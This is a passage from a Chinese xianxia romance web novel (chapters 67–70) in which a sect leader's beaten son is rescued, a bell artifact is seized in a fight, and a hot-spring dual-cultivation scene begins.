门口突然传来有人倒地的声响,送饭的小弟子察觉不妙,方一回头,还未看清贼人是谁,身形摇晃了两下,也跟着一头栽倒在地。 一道淡绿色的毒烟悄然在屋里弥漫开来,在快要触及到他时,一道身穿玄色劲装的身影飞掠闪现到他面前,将一张防毒面具精准地罩在他的脸上。 江蘅睁大了双眼,有想过他的真命天女会脚踩祥云,身披霞光,如同九天玄女般降落在他面前,但没有想过那个真命天女会是脸戴罗刹防毒面具,脚踩毒烟过来解救他。 尽管来人戴着面具,江蘅已然从身形和露出来的那双微微上挑的凤眼中,瞬间认出来了她是谁,眸光不敢置信又激动地发亮,嗓音因为干渴和折磨像被砂纸磨过的沙哑:“紫烟,你怎么……” 薛紫烟看到遍体鳞伤的少年,呼吸陡然一窒。 在迅速反应过来后,手中利刃当即斩开束缚他的绳索,把他拉了起来。 “什么都别问,跟我走。” …… 第67章 第 67 章 这法宝糜月喜欢,对不住…… 薛紫烟带着伤痕累累的江蘅, 悄无声息地从后山绕出来,将他送到灵舟上时,江禄山和几位弦音宗长老正和糜月打得不可开交。 江禄山身为一宗之主, 修为并不低,连同几位长老也都是大乘境后期, 却被糜月一个人单方面的压着打。 放眼望去, 法宝相击发出的莹白光芒,都不及那赤艳艳地一片火红。 这还是糜月拿回九瓣烬花后, 第一次正式同别人打架过招。 九瓣烬花齐聚,呈现出最强盛完美的姿态,宛若真佛座下的九瓣莲花台, 众生法宝在对上这勃发的焰芒时,都难免黯然失色。 九片花瓣合则是状似莲花的完整烬花, 分则是九团不熄不灭的耀目火团, 在糜月的操纵下, 飞快自转着朝四周迸射出火焰飞芒, 宛如漫天降落的火焰雨。 这烬花火焰能燃烧万物, 哪怕是纹有防御阵法的宝器法衣,在触碰到那一点星火时,立刻就会被烧出一个大窟窿。 弦音宗众人如同被丢进油锅里的蚂蚁, 争相逃窜躲避着漫天火雨。 江禄山看不起行事张扬的烬花宫, 但又从心里畏惧糜月强横无匹的神相之力和烬花宫的势力, 所以在得知江蘅当了烬花宫的侍宫时,他气到砸桌,但又不敢去烬花宫要人。 偏偏他寿诞那日,江蘅自己回来了,他这个当爹的关起门来管教, 却没想到烬花宫反而会因此找上门来。 一道烬花火焰擦过江禄山的肩头,险险把他珍爱的长须给燎了。 他气得涨红了老脸,遥指着糜月痛骂:“你这妖女!当真不知无耻二字怎么写!当初强掳走我儿做侍宫,如今还敢带人上门闹事,真当我弦音宗怕你们不成!泥人还有三分气性,大不了咱们鱼死网破!” “江宗主火气怎么这么大,不过是切磋一番,怎么还急眼了,我宗弟子都在灵舟上未动,你们以多敌少,还要反过来指责我欺负人不成?” 烬花宫弟子未得她下令,仍守在灵舟上未动,唯有糜月一人御风立在半空中,裙摆如水纹般飘荡,丹唇勾着浅笑,微微上扬的狐狸眼里满是骄矜,和你能奈我何的盛气凌人。 江禄山被她的话噎得一口气差点没喘上来,谁家切磋一上来就把神相放出来的?还大有一副要把他山头烧光的架势,明晃晃地打着切磋的幌子,过来寻衅滋事! 趁着江禄山等人还在和糜月纠缠之际,薛紫烟把江蘅送到灵舟上安顿下来,随后飞到糜月身边,帮她挡开侧面的袭击,同时低声对她道。 “宫主,人已经救出来了,没必要再跟他们耗下去,我们可以撤了。” 薛紫烟一想到江蘅身上那触目惊心的伤痕,瞥向江禄山的眼神里,藏不住想刀人的怒意。 但想着他的伤需要及时医治,担心和他们纠缠下去会再生事端,她强压着怒火,低声劝糜月先行撤离。 糜月打得正尽兴,同谢无恙双修的这些日子,她灵脉里的灵力时常保持在充盈胀满的状态,虽然大部分转换成了修为,但仍盈足许多,像装满了水的杯子,总要倒掉一些,才能盛得更多。 今日酣畅淋漓地打了一架,总算将那些过剩的灵力消耗掉了,随着那些烬花虚影不要钱似地招呼在江禄山和弦音宗众人头上,糜月每一个毛孔都感觉到了舒畅。 就一个字,爽。 然而想到她们这趟是来要人,又不是真来要把弦音宗给灭了的,糜月见好就收,四散在外的烬花虚影飞回她的掌心。 她扬眉道:“今日本宫主累了,不打了,改日再来同江宗主切磋。江宗主若是不服气,也尽可来烬花宫讨教,我随时恭候。” 眼瞧着糜月占着上风,又忽然收手说不打了,江禄山松了口气,又觉得有些许不对劲,此时恰有弦音宗弟子过来禀报,看守江蘅的弟子被人用毒烟放倒之事。 江禄山这才反应过来,定是这妖女出手转移他们注意力时,趁机又派人潜入宗将江蘅劫走了,当即大怒:“你这卑鄙妖女,竟叫人暗地劫走我儿,快把人交出来,不然今日谁都别想离开!” 薛紫烟也被他激怒了:“你这老贼才卑鄙无耻,江蘅被你折磨得浑身是伤,还谎称病重,世上竟也有你这样心狠手辣的父亲!” “我管教我儿,天经地义,便是将人打死了,又与你何干?!”江禄山横眉竖目地拦在她二人面前。 弦音宗的音修更擅长辅助作战,并不擅于直面对敌。 江禄山自知不是糜月的对手,但今日若真让她们当着他这个宗主的面带走了江蘅,他们弦音宗的脸面要往哪儿搁! 他心一横,从袖中祭出一件法宝来。 糜月眼看着他拿出一只赤金色的铃铛,铃铛上部有把手状的环耳,周身雕刻着精美的花纹,凹槽处还镶嵌着几颗剔透的五彩宝石。 看起来就很值灵石。 “这摇铃法宝瞧着倒是精致,江宗主真是客气了,临走还送什么礼啊,那这法宝我就笑纳了。” 少女笑意盈盈又欠欠的嗓音,让人恨得牙痒。 在江禄山掏出那只赤金摇铃时,弦音宗长老们都默契地撤远了,随着江禄山手腕轻晃,金铃内部的圆珠撞击铃壁发出清脆又厚重的铃音,无形的声波朝着四周层层荡开。 糜月初闻那铃声,明明只是简单的几声撞铃声,传入耳中时却仿佛变成了婉转悠扬的仙乐,让人不自觉沉浸其中。 眼瞧着她被铃声所惑,江禄山趁机出招,在掌法即将袭向她时,一朵烬花虚影显现在糜月的身前,先主人一步,及时挡住了他的袭击。 糜月陡然清醒过来,这铃铛竟然能惑人神识,她刚才居然走神了,再一看旁边的薛紫烟,同样是双眼目露迷离,被那铃声所惑的模样。 她继而低头看了看面前的烬花虚影,随着残缺的花瓣找回,她的烬花仿佛觉醒了些许自我的意识,竟然在她面对危险时,能自主从灵府里飘出来,为她抵御攻击。 江禄山没想到糜月的神念这么强,连他们的镇宗至宝魂音铃,都只能困她片刻,他一击不成,咬牙继续动用灵力又晃了两下金铃。 这魂音铃每摇晃一下,很消耗灵力,江禄山额头已然开始冒虚汗。 更加清晰悦耳的铃声响起,糜月明知这铃声有异,但神识仍不可避免地受到侵扰,身形随之一顿。 与此同时,一直稳坐在灵舟上的某个人影终于也随之动了。 一道淬雪的剑光,弹开了江禄山的第二次偷袭。 江禄山心头一震,这妖女竟然还有帮手? 然而在看见来人的模样时,江禄山眼里的凝重和警惕尽失,摇铃的手顿住,双眼一亮,如同看见了救星般地松了口气。 “东极剑尊,你怎得来我宗了?” 谢无恙看了看从铃音里缓过神来的糜月,收回视线,看向江禄山淡声道:“江宗主,好久不见。” “是啊好久不见,”江禄山激动又欢喜地迎上去,“东极剑尊,我同贵宗一向交好,你可要为我宗主持公道啊……” 虽然不知他怎会突然出现在弦音宗附近,但隐剑宗和烬花宫向来不睦,谢无恙必然不会坐视不理。 江禄山瞬间有了有人撑腰的底气,当即指着糜月,痛斥着她的所作所为:“这烬花宫妖女带弟子来我宗闹事伤人,还绑架了我儿,如今还意图夺我宗法宝,此等恶行闻所未闻,真当这天下没有王法了吗?幸好有你路过,不然……” “江宗主,对不住了。”谢无恙打断他。 江禄山尚未反应过来是什么对不住,一道精纯的灵气拂过,他拿着摇铃的手一空,下一刻,那摇铃就被放进了糜月的手里。 江禄山懵然地双目圆睁:“东极剑尊,你、你这是什么意思?” 面对质问的谢无恙,面上却毫无内疚之色,清咳了一声,嗓音清淡无波无澜:“这法宝糜月喜欢,所以,对不住了。” …… 平稳行驶在云端的灵舟上。 糜月手里把玩着新缴获来的铃铛法宝,像得了新鲜玩意般爱不释手。 她原本此行带着谢无恙,是因为留他在琼山不放心,想把他看在眼前,并不指望他能帮忙。方才见谢无恙出手,她也以为是他看不过去了,过来当和事佬。 直到他出手将金铃抢给她,江禄山的脸都白了,手指颤抖地指着谢无恙,“你”了半天,气得两眼一翻,险些背过气去。 糜月想到方才的画面,唇角轻勾,不禁想笑。 她想试一试这金铃的威力,但考虑到这一灵舟的人,遂暂压住好奇,瞟了瞟坐在她身旁的谢无恙,低声问他:“你竟也有夺人法宝的时候,不怕毁了你的名声么?” 挑衅打架,夺别宗的法宝,对糜月来说已经是习以为常,但她没想到谢无恙也能做出这种事,还脸不红气不喘的。 谢无恙低眸对上她试探的视线,轻声:“我不在意。” 他心想,出了今日的事,江禄山大概会跑去隐剑宗找纪通诉苦告状吧,但对他来说并无所谓,从随糜月到烬花宫同她双修的那日起,他早就不在乎什么名声了。 糜月眼睛眨了眨,又问:“那这金铃你当真不要吗?是弦音宗的镇宗之宝呢。” 谢无恙:“嗯,你拿着玩。” 糜月这才将金铃收进了储物袋里,继而抬眸看着坐在灵舟另一侧的江蘅和薛紫烟二人。江蘅的身上披着薛紫烟的外衫,裸露出来的手臂、脖颈乃至脸上都有着红肿淤血的鞭伤,薛紫烟手里拿着药瓶,正帮他上药。 “疼吗?” 薛紫烟用指腹轻沾了药粉,轻轻涂在他的伤口处,时不时抬头看他。 江蘅方才喝了些许温热的米粥和补充灵气的丹丸,苍白的脸上恢复了些许血色:“……不疼。” 他耐疼力很强的,从小被锻炼出来了,这些鞭伤都熬过来了,怎么会觉得她上药疼。 “疼就和我说,不要忍着。” 江蘅闻言低下头,眼底漫上水雾,鼻尖有点泛酸地发红。 他在被爹爹叫人一遍遍鞭打时,都没有想哭,此时不知为何,看到薛紫烟蹲在他身前,动作轻柔地为他上药时,他鼻子很酸,眼泪几度被他忍了回去。 他很困,但又不敢闭眼,他怕这一切是梦,等他醒来后,又会回到那个冰冷阴暗的宫殿。 薛紫烟近距离看着他的伤,尤其看到那双给她弹过琴的手,上面也是伤痕密布,心里仿佛被人揪住似得沉闷发疼。 她很后悔当初就不该让他回来,或者应该听糜月的,亲自送江蘅到弦音宗再陪他一起回,也不至于让他自己弄成这样。 江蘅在被衣衫遮挡的看不见部位,伤口更严重,但在灵舟上多有不便,薛紫烟也只能浅浅先帮他止疼,剩下的等回去再上了。 糜月想过江蘅可能会被他爹关起来,不让他出门,但没想到会这么惨,好歹是一宗少主,怎么会将人往死里打呢。 她不禁问他:“江蘅,那老头他到底是不是你亲爹啊?” 对自家亲儿子也能下手这么狠吗? …… 第68章 第 68 章 你也是被绑来做侍宫的吗…… 江蘅听到糜月的问话, 有些心酸地低下头,吐出一个字:“是……” “还真是亲生的啊,” 糜月有点惊讶又不解, “那他把你打死了,以后谁来继承宗门啊?” 江蘅低声道:“我还有六位兄长和姐姐……” 就算他不死, 这掌门之位也万万轮不到他的。 “多少?六个?!” 糜月更惊讶地瞪大双眼, 她虽然幼年同江蘅相识,但从来不知道他有这么多兄弟。在追求长生和提升自身修为的修真门派, 能把一个孩子费心养大就算是不错了,这个江禄山可真能生啊,这是打算徒弟不够, 儿子来凑么。 “爹爹对我们从小就很严苛,出行要报备, 擅自出门要受罚, 不可随意结交友人, 没有月例灵石, 修习用到的资源都要自己去争取, 最常用的刑法就是鞭刑,二十鞭是小惩,五十鞭是大惩……” 江蘅说起这事来, 语速轻缓平静, 仿佛在讲述旁人的事。 他从小到大都是这么过来的, 他性子算乖巧听话,挨得鞭子还算是几个兄姐里最少的。这回是爹爹最生气的一次,觉得他污损了弦音宗的脸面,坏了名声,他已经记不清挨了多少鞭了, 能撑到现在,全凭吊着一口气。 薛紫烟听着江蘅的话,眸色暗沉,唇角紧绷地抿着。 这些事,他以前从未和她说过…… 江蘅曾隐约提起过他爹爹会打骂他,但她没想到会如此严重,二十鞭还是小惩,在烬花宫,哪怕惩罚犯错的弟子都没那么严酷。 糜月此时也想起来,幼年在无涯学宫,江蘅靠给她抄作业换灵石,她还纳闷他一宗少主怎么这么爱财,敢情原来是因为真缺灵石啊。 江蘅表面上是弦音宗少主,实际在他爹的管控下,过得连普通宗门的外门弟子都不如,有时候他会被父亲派去其他宗门献奏,但赚来的灵石都是要上交的。 在无涯学宫时,他尚能靠借同窗抄作业等赚点小外快,那时候糜月是他最大的客户了,后来从学宫结业,父亲又限制他出行,几乎没什么途径能赚到灵石,只偶尔能去一趟秘境,能找到些值钱的东西拿出来卖一卖,直到现在他也没攒下多少能傍身的灵石。 没有灵石,在外更寸步难行,一切只能依附听命于弦音宗。 “你爹他到底有没有把你当孩子看,他对你有父子之情吗?” 糜月皱起眉头,听完江蘅的描述,她总感觉江禄山对他不像是在对待亲生的孩子,更像是在培养一个没感情的物件。 江蘅被她问得一愣,发现自己竟然回答不出来如此简单的问题。 他也不知道,他只有这么一个父亲,没有见识过旁人的父子之情是如何的,他没法判断。他父亲常说的是,打他是为了他好,让他长记性,以免以后误入歧途。在打完他后,父亲也会赐给他伤药,让他不要落了疤。 江蘅没吱声,糜月去看薛紫烟,她紧抿着唇,手指小心轻握着江蘅一小截没有伤口的手碗,没有说话。 糜月想起来,如今十二位副宫主里有一大半都是她娘亲当年招收弟子时,从流民里挑选出天赋不错的孤儿,薛紫烟也是其中一个。 她继而又看了眼身旁的谢无恙,这人更不用说,还是小豆丁时,爹娘就已葬身大海。 大家都很沉默。 糜月虽然从小也没爹,但她有娘亲,小时候她那么闯祸淘气,她娘亲都舍不得动她一根手指。 这样的父亲不正常,绝对不正常。 “你以后还是别回弦音宗了,这样的爹还不如没有,你就留在烬花宫,把这里当成你的家,有紫烟看护你,不会再让你受欺负的……” 糜月宽慰他道,江蘅轻点了点头。 父亲这次的所作所为,让他彻底死心了,他在弦音宗的日子总是提心吊胆的,担心会不会惹爹爹生气,修习有没有落下,会不会挨打,反观在烬花宫的那些日子,是他最轻松的时光。 且这次她们来救自己,闹得这般大,他不敢想象,要是再回到弦音宗会面临什么,只怕真的会没命了。 “紫烟,我那里还有些唐玉容以前的送的养颜修容膏,回头你拿去给他用用,那养颜膏效果很好,再深的伤疤涂上后不会留痕迹的……”糜月又对薛紫烟嘱咐道。 谢无恙低眸,望着一直喋喋不休的少女。 她对下属和周围人都很关心,除了对他。 他手心里还有她上次用匕首划出的疤痕,还有…… 他无声抬手,轻摸了下喉结处,虽然那齿印已经淡到看不出来,但用手指仍能摸出来浅浅凹痕,她每回咬他,都是要咬出血来才肯松口的。 谢无恙敛去微暗的眸光,再一抬眼时,对上江蘅清澈又疑惑的眼神。 “谢无恙,你怎么会在这儿啊?你也是被绑回来做侍宫的吗?” “……” 这个“也”字就很灵性。 谢无恙放下手,眉眼从容,吝啬地回了一个字:“嗯。” 江蘅有些诧异,他起初被绑来烬花宫时,不知状况,是有些惶恐和害怕的。 他这副淡定的语气里还带着隐隐的骄傲,是怎么回事? “……” 糜月有些无语凝噎地盯了眼谢无恙,虽然是这么一回事,但你答应得也太直接了吧,好像绑人做侍宫是她们烬花宫的传统似的…… 江蘅倒也能理解,谢无恙和糜月早就相识,和他和薛紫烟的情况,到底是不一样的。 薛紫烟和他是露水之缘,而同糜月和谢无恙,也仅有那几年在无涯学宫的同窗情谊,他没有想到他们会大老远跑来弦音宗,只为了将他救出来。 江蘅心里说不出的感动和暖意。 四人聚着聊了一会儿,他心里那股不安和不真实感才渐渐褪去。 两个故友都在,江蘅不禁想到了另一桩事,想到了那个在铸剑大会见过的小姑娘,去问糜月:“那你的女儿月月呢?还在隐剑宗吗,你们都来了烬花宫,那她岂不是无人照料?” “……” 糜月在恢复原身后,还是第一次被人问到了面前。 她挠了挠脸颊:“那个月月她不是我女儿,都是误会……那个前阵子已经找到她的家人,把她送回去了。” “竟然不是吗?”江蘅喃喃感慨道,“那小姑娘长得和你幼时可真的太像了……” 江蘅心思纯澈,本来就好骗,加上如今浑身是伤,脑子更是糊里糊涂,被糜月三言两语便应付了过去。 …… 灵舟行驶了两天一夜后,抵达了琼山。 薛紫烟带着江蘅回自家院落里上药疗伤,糜月和谢无恙也回到自己的宫殿。 幽静的寝殿外,镶以绢纱的琉璃六角风灯散发着淡黄的光晕,于夜风和繁星中轻轻摇晃。 糜月在烛灯下,研究着那新得来的金铃法宝。 她发现在注入灵力之后,这金铃还能变大变小。 最大能变成铜钟般大,撞击出来的铃音效果也会扩散得更强更广,最小能缩成拇指般大小,同时也几乎没有了迷惑神识的效果,就像个普通的小铃铛,铃声清脆如明珠落盘。 她把玩着缩小后的袖珍小铃铛,发现很适合给月饼戴在脖子上。 “你不在隐剑宗,月饼在被谁养着?”她偏头去问此时在茶台前煮茶的谢无恙。 墨绿色的茶饼衬得他的手愈发冷白似玉,手指轻捻,茶叶被均匀地撒入壶中。炭炉上烧着的银壶已经汩汩冒泡了,他随之拎起,将水激进壶中,手指轻搭在茶盖边缘压着,因为散开的热蒸气,指尖微微有些泛红。 “有程令飞和夏沥在照看。”谢无恙道。 茶台紧靠着一侧的窗户,支摘窗开了半扇,袅袅的蒸汽朝外飘去。 皎皎月色之下,谢无恙刚说完,便瞥见一只传音纸鹤乘着月色正朝他遥遥飞来。鹤身所用的淡青色纸张,正是隐剑宗常用的款式。 他一手倾倒茶壶,另一只手指节弯曲,一道灵气悄无声息地打出去,传音纸鹤还没飞到他身前,便已灰飞烟灭。 糜月闻言稍稍放了心,以前她经常抱着月饼找程令飞和夏沥玩,比起谢无恙,月饼确实更亲他们一点。 她想起江蘅悲惨的遭遇,忽然联想到要是隐剑宗的人知道了,谢无恙如今在烬花宫中,和她这个妖女整日双修,该不会也这般对待他吧? 然而转念又想,以谢无恙的修为和剑法,谁敢欺负他啊。 连他的掌门师兄纪通也不是他的对手,剩下那几个长老就更不用说了,平日里商讨什么事都还要看他的脸色。 这趟顺利把江蘅接了回来,没出意外加之还缴获了法宝,糜月心情还算不错,出发前和谢无恙的置气也消得差不多了。 她闻见了那股清雅幽香的茶香,谢无恙煮茶是有几分本事的,她这个不爱喝茶的人,闻着都有些口舌生津。 糜月走过去,想蹭杯他刚煮的茶喝,正见他瞧着窗外,空气里还有灵气未散的波动,她奇怪地跟着探头往窗外看了看,却什么都没有看见。 “你在看什么?窗外有东西?”糜月狐疑地问。 “有蚊子,”谢无恙转过头来,把刚倒好的一杯茶汤递给她,眉眼温和平静,“已经打死了。” …… 第69章 第 69 章 宫主在那里等你。 “蚊子?” 糜月的眼底闪过狐疑之色, 这个时节就有蚊子了? 谢无恙把支摘窗放下,窗扇阖住,将浓稠的夜色和月光都隔在了外面。 糜月并未多在意, 托起温热的茶盏,抿了一口刚泡好的茶汤, 是掺了茉莉香尖的花茶, 触口既有茶香又有花香。 殿内一片灯火暖融,她听到他清沉的嗓音低低地问:“我今晚是留下还是去侧殿?” 同弦音宗主打了场架, 加上灵舟劳顿,糜月本打定主意今晚不双修了。 加上谢无恙上回的越禁之举,惹她不满, 想着晾他两天。 但修为是自己的,少修一天, 便等于晚一天打开石门, 糜月再同他置气, 也不会在双修之事上不理智。 如此被他一问, 糜月有些动摇和纠结。 “上次的事……” 谢无恙低眸看着她, 顿了顿道,“你若不想,我不会再做了。” 糜月挑眉:“当真?” “嗯。” 谢无恙唇角微抿, 她不喜欢亲吻, 他可以忍住, 只是每每和她双修之时,总是有些不自控。 糜月眯了眯眼,她是典型的吃软不吃硬,此时面前的男人似乎褪去了平日的矜持和前日在榻上的强势,言语和态度甚至有些低顺, 有些取悦了她。 “那便留下,”少女支着下巴,唇贴在杯盏边,眉眼在灯火里显得疏懒又媚气,“给我温茶喝。” …… 与此同时,东洲隐剑宗。 纪通感应到发出去的传音纸鹤被毁,心里已经明白了三分,面上不动声色,继续劝慰面前满脸怒容的老者。 “江宗主,我师弟近日不在宗里,你说是我师弟抢了你的法宝,此事尚无实据,还得等我师弟回来,方能证实此事……” “纪宗主,你这话说的,我还能诓你们不成?当时我宗长老和弟子们可都看着呢,那妖女绑走我儿,谢无恙非但没阻止,还帮着抢走了我宗法宝。我素来敬重东极剑尊和贵宗,没想到他竟与那妖女是一丘之貉,我当纪宗主是明事理之人,才上门讨要说法,难道也要包庇袒护,助纣为虐!” 江禄山气得咬牙切齿,唾沫横飞。 他一想起前日发生的事就上火,那个不争气的儿子跟人跑了便跑了,可那魂音铃是他们弦音宗的镇宗之宝啊,就这么被人给夺走了,他这两日是食不下咽,夜不能眠,他不敢去烬花宫闹事,于是连夜跑来了隐剑宗告状。 烬花宫那妖女没脸没皮,夺人法宝之事,不仅对她造不成任何名声谴责,还会被当成光辉战绩,但像隐剑宗这样的名门正派就不一样了,为了顾忌名声,也得还他一个说法。 纪通被吵得脑壳发痛,只能先当和事佬和稀泥,把手边的茶盏往前推了推:“江宗主你先喝点茶,润润喉消消气,我已经给我师弟发去传音纸鹤催他回宗,你放心,此事定会给你一个交代……” 殿外的角落,程令飞趴着门缝偷听了个大概,随后悄摸摸地溜回自家竹屋。 院子里,夏沥正在给月饼喂睡前夜宵,一颗鸡蛋大小的灵果放在掌心,三两下就被月饼的三瓣嘴啃了个精光。 尽管见识过很多次,夏沥也不禁为月饼的食量惊叹,这兔子一天能吃五顿,而且最爱吃灵果。 好在师叔离开前,给了他们一整个储物袋的灵果,不然以他们的月例灵石可真是养不起这只馋兔子。 程令飞忙方才听到的八卦和师姐分享:“我方才在执事殿,听到弦音宗主同师父说,师叔如今在烬花宫,还和烬花宫主一起抢了人家的法宝。” 夏沥支起耳朵,有点不信:“抢法宝?师叔一向只用他的本命剑,怎会做这种事?” 程令飞若非亲耳听到也不会相信此事:“可那弦音宗主都找上门来了,八成是真的……” 程令飞趴在石桌边,叹了声气:“这阵子师叔不在,月月也不在,总感觉无趣清冷了许多。” 夏沥闻言,看着掌心里的灵果也有些出神,她很想念小姑娘香香软软很好捏的包子脸,那对水润乌亮像湖底鹅卵石的杏眼,还有同他们一起堆雪人时的童声笑语。 小姑娘若是再不回来,隐剑宗的雪都快化了…… 程令飞又想起什么,凑近她:“师姐,还有一桩八卦你要不要听?但是我事先说明,你听完后不能打我。” 夏沥喂月饼吃完灵果之后,又拿出木梳给它梳毛,头也不抬:“你说。” “有藏经阁的弟子说,月月其实是……”程令飞看了看四周,压低声音,“师父和师叔的女儿。” 夏沥拧眉,用看傻子的眼神瞥瞥他:“这不是胡说八道么,俩男人怎么生出孩子来?” “不好说,这天下什么稀奇的丹药没有,”程令飞摸着下巴道,“有可能月月不是被烬花宫主带走了,是被咱们师父给藏起来了……” 话音未落,风声袭来,左眼传来一阵剧痛,程令飞痛呼,“嗷!我的眼睛……师姐,咱不是说好不打人的吗?” “再编排师父和师叔,让你体验变熊猫。”夏沥握紧拳头,抱起月饼,果断转身回了竹屋。 …… 从弦音宗救回江蘅之后,隐剑宗的传音纸鹤如同雪花般飞来,谢无恙不知道毁了多少。 他不用听,便知那传音会是什么内容,隐剑宗同烬花宫的关系,远比弦音宗同烬花宫更僵。 但他和江蘅不同的是,他手中有剑,更无什么父子兄弟之情的羁绊,无人能裹挟他做不愿做的事,哪怕是他的师兄纪通。 谢无恙用净尘术拂去纸鹤残留的灰烬,听到殿外有小弟子敲了敲门,随后进来,对他漠然道:“宫主传你去怜花池。” 他想起来,今早糜月和他说过,在琼山与隔壁山峰之间的峡谷处,有一处天然温泉名怜花池,她午膳后便出门了,应是去了那里。 …… 幽静的山谷间,一眼温泉宛如仙境遗落的明珠,缭绕的热气从水面升腾而起,轻浮于泉水之上,宛如流动的仙雾。 糜月背靠在池水边沿的石台,腰部以下都浸泡在温热的泉水中,正在闭眸打坐,周遭无形的灵气连同着白雾都在以她为中心,徐徐环绕着聚拢。 这些时日,她除了吃饭就是修炼,加之双修勤勉,糜月觉得自己的修为离破九重境似乎更进了一步,但还仍差些距离。 她正琢磨着还有什么办法,能再快些提升修为,恰昨日同副宫主们闲聊时,无意听到薛紫烟说想带江蘅来怜花池疗伤,才想起来琼山里还有这处修炼宝地。 当年烬花宫老祖从东境玉京仙山迁离,之选择在琼山安宗落户,一半是因为琼山钟灵毓秀,花草繁盛,另一半就是因为这片怜花池。 琼山灵气浓郁,而这天然凝成的池水久而久之也形成了灵泉,虽然比不得那能滋养灵脉的玉髓清灵露,但对灵力的吸收很有助益。 有不少烬花宫弟子都喜欢来此处修炼,或是带侍宫来双修,而先前糜月不常来此处,便是因为总会撞见一些不可描述的场景。 而眼下,连她也成了双修大军里的一员,便也没什么可避讳的了。 谢无恙在小弟子的带领下,御风来到峡谷之间。怜花池并非整片的温泉池,而是因为高低错落,被分成了一个个小池子,每个之间还有高大的苍松翠柏和山石相挡。 他无意一瞥,在那薄雾之中,隐隐可见起伏晃动的人影。 谢无恙眉头微皱,收敛视线,弟子遥遥指着最高处的温泉池:“宫主在那里等你,我就不便带你过去了。” 虽然现在处于凛冬时节,但琼山的气候仍保持着湿润温暖,平时只需要着一件轻薄的秋衫便足矣,一来到此处,更是感觉到周围的气温升高了些许。 小弟子指着的那处池子还额外设了两扇屏风,将没有树木遮掩的地方,全都围遮了起来。 谢无恙行近,瞧见那遮挡严实的屏风,方才松了口气。 绕行过屏风,池中的景象映入眼帘。 池边数百块巨石错落有致地围砌了一圈,将池水单独划分出来,周遭生长着茂盛葳蕤的奇花异草,草叶上挂满了晶莹透彻的露珠,花朵上沾染着丝缕雾气,在柔和的日光下,犹如仙境。 浸泡在池水中的少女正背对着他,肤如凝脂的雪背在薄雾中愈发显得莹润,如瀑的墨发没过纤细的腰肢,垂进水面,又随着池水的晃动徐徐散开。 听见脚步声,少女从打坐的状态中醒来,抬起卷翘的睫羽,一双含墨点漆的眸子回首望了他一眼。 谢无恙脚步顿住。 第70章 第 70 章 温泉行乐。 此时, 在靠近糜月的另一处温泉池中。 薛紫烟穿着轻薄的纱衣,坐在池水边吃葡萄,而在她旁边的江蘅正浸泡在池水中闭眸打坐。须臾后, 他蓦然睁开眼,双眸清亮地游到她身边, 惊喜道:“紫烟, 这里的灵气果然很浓郁,就像吃了补气丹一样……” 在弦音宗也有这样灵气浓郁的地方, 但都被专门圈了起来,只供宗主和长老们修炼,他都没资格去。烬花宫竟然把这么好的地方, 开放给弟子们随意修炼。 随着少年从池水中站起来,露出了精薄的胸膛, 上面或深红或浅粉的伤疤纵横交错, 在白嫩的皮肉上分外扎眼。 看着他这副连泡个灵泉都没见过世面的模样, 薛紫烟心下叹气, 心道他在弦音宗是半点好都没享到, 光受罪了,抬手往他嘴里塞了颗剥好的葡萄。 “嗯,这池水对你疗伤有好处, 可以再多泡一会儿。” 想到回到烬花宫的那晚, 她帮他脱去衣服上药, 才知他衣衫下的伤口有多触目惊心,有些已经化了脓,跟衣衫黏连在了一块。 她废了好些功夫,剪开衣料,才将那些碎布彻底从他的伤口上分离。 少年趴在榻上额头冒汗, 咬紧了唇,硬是一声没吭。 她当初捡他回来,以为他是不食烟火不知人间险恶的小少主,现在才知道,他其实是个受尽磨难还纯良傻白的小可怜。 小可怜就着她的手指吃下口中汁水香甜的果肉,耳后有些发红,不经意望向她身后远处的方向,微微一愣。 “我好像看见谢无恙过去了。” “哦,估计是去找宫主双修的罢。”薛紫烟随口说。 “双修?”江蘅一脸震惊,“在这里?” “怎么了?”薛紫烟好笑地看他,“你该不会以为这么多弟子带侍宫来此处,都是纯泡澡罢?” 江蘅挠挠微红的脸颊,有点结巴:“可这幕天席地的……周围还有那么多人,多、多难为情啊。” “双修又不是什么见不得人的事,再说了,我又不同你做什么,有什么可难为情的?”薛紫烟身上的纱衣一直没脱,并没有下水的打算。 她带他来此是纯为他疗伤的。 小侍宫身上的伤还未好,便拉着他做那事,未免太不人道。且每每看见他身上狰狞的鞭痕,薛紫烟便想到他吃的苦遭的罪,心里只有心疼,便没了别的兴致。 江蘅“唔”了一声,低头看向池水倒映出他满身疤痕的模样,他也被吓了一跳,有些自惭形秽地重新坐回水里,只露出脖子和脑袋。 “紫烟……”他有点不敢看她,小心翼翼地问:“要是我身上的伤疤消不了,你会嫌弃我吗?” “会。” 江蘅睁圆眼睛,没想到她答得这么干脆,他还没来得及难过,嘴里又被塞了一颗甜丝丝的葡萄,薛紫烟眉梢轻挑,“所以你要好好养伤,留疤多丑啊,我看着不舒服,你自己看着就能舒服了?” 宫主送来的养颜膏很好用,这才两三日,他身上的伤口都已经结痂成疤,有的已经脱落长出新肉来了,再加上每日泡灵泉,养伤会养得快。 薛紫烟当初看上他,的确有喜欢他长相样貌的缘故,当然不希望自己的小侍宫满身是疤,如今只能再慢慢养回来了。 …… 对比薛紫烟的纯泡澡,糜月叫谢无恙来此的目的,再明显不过。 “还要我帮你脱吗?” 池水中的少女转过身来,明艳浓丽的五官在薄雾中清晰起来,一步步走近他,水位从她的腰际缓缓下降,降下平坦雪腻的小腹,露出骨肉均亭的长腿。 她身上滑落的水珠折射出粼粼日光,宛如璀璨的珍珠,吐出来的气息都带着温热的潮气,如同从湖水中诞生的魅妖,一字一句蛊惑人心。 谢无恙对上那双被雾气浸润的狐狸眼,她从来都直白得纯粹,丝毫不掩饰她的欲求。 她嘴上问着要不要帮他脱,但也只是嘴上说说,并不会这么做,她是一宫之主,向来只有别人服侍她的份,怎会去做帮侍宫更衣的事。 “不必……” 谢无恙低声道,视线从她身上移开,抬手有条不紊地解去了发间的束带。 糜月本来就没打算上来,象征着往前走了两步,又泡回温暖的池水中,闲适地撩着眉眼看面前的男修宽衣解带。 每每看到他顶着清冷禁欲的脸,做出于气质不相符的事,显然心里不情愿,但为了顾全大局,又不得不顺从她时。 糜月心里有些不豫又有些别样的愉悦,找到了仿佛逼迫他的乐趣。 以往他们双修多在晚上,哪怕偶尔在白天行事,也是紧闭殿门,这样幕天席地的在日光下,的确是头一回。 她知道谢无恙肯定接受不了被别人围观,她也没有被别人窥探私事的喜好,所以多布设了两架屏风,将这片池子密不透风地遮挡住。 她本是穿了一层纱衣的,但经过泡过水之后,服帖地勾勒在身上,跟没穿也没什么区别,无非多添了若隐若现的风情。 